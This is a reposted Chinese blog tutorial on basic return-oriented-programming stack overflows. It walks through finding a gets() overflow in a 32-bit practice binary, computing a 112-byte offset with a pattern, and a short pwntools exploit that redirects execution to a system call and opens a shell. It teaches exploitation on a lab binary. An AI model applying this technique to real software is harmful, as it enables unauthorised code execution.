ROP基础栈溢出

admin 2021年1月13日10:49:12评论24 views字数 812阅读2分42秒阅读模式


ROP基础栈溢出

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码.

ROP的思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程

先搭建好环境
安装gdb-peda:
git clone https://gitee.com/takaobsid/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
切换pwndbg和peda:vim ~/.gdbinit

ROP基础栈溢出

查看汇编代码
objdump -t 程序查看程序中使用到的函数
objdump -d 程序查看程序中的汇编代码
objdump -d -j .plt程序  查看plt表

以某程序为例
查看一下程序的保护机制,可以看到是32位的程序且仅仅开启了栈不可执行保护NX

ROP基础栈溢出

使用objdump查看程序

ROP基础栈溢出
ROP基础栈溢出

先要找出溢出点,然后确定溢出偏移,找到system函数,最后编写exp

ROP基础栈溢出

程序中使用了缺乏安全性的gets() 函数,显然存在栈溢出漏洞。

ROP基础栈溢出
ROP基础栈溢出

这里也可以使用IDA进行静态汇编代码分析

ROP基础栈溢出

双击进去,发现是在secure函数中调用

ROP基础栈溢出

ROP基础栈溢出

使用GDB pattern字符串溢出计算偏移量

生成200个序列,pattern create 200

ROP基础栈溢出

Invalid address0x41384141
ROP基础栈溢出
编写exp
from pwn import *
p =process("./rop")
offset = 112
payload ='a'*offset +p32(0x804863a)
p.sendline(payload)
p.interactive()
ROP基础栈溢出

ROP基础栈溢出



推荐文章++++

ROP基础栈溢出

*电信诈骗手段翻新,制作“安全防护”冒充北京警方APP

*94名电信诈骗嫌疑犯从欧洲被押解回国

*史上最强技术电信诈骗蔓延!无法防范!只能等死!


ROP基础栈溢出

ROP基础栈溢出

本文始发于微信公众号(黑白之道):ROP基础栈溢出

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月13日10:49:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ROP基础栈溢出http://cn-sec.com/archives/240456.html

发表评论

匿名网友 填写信息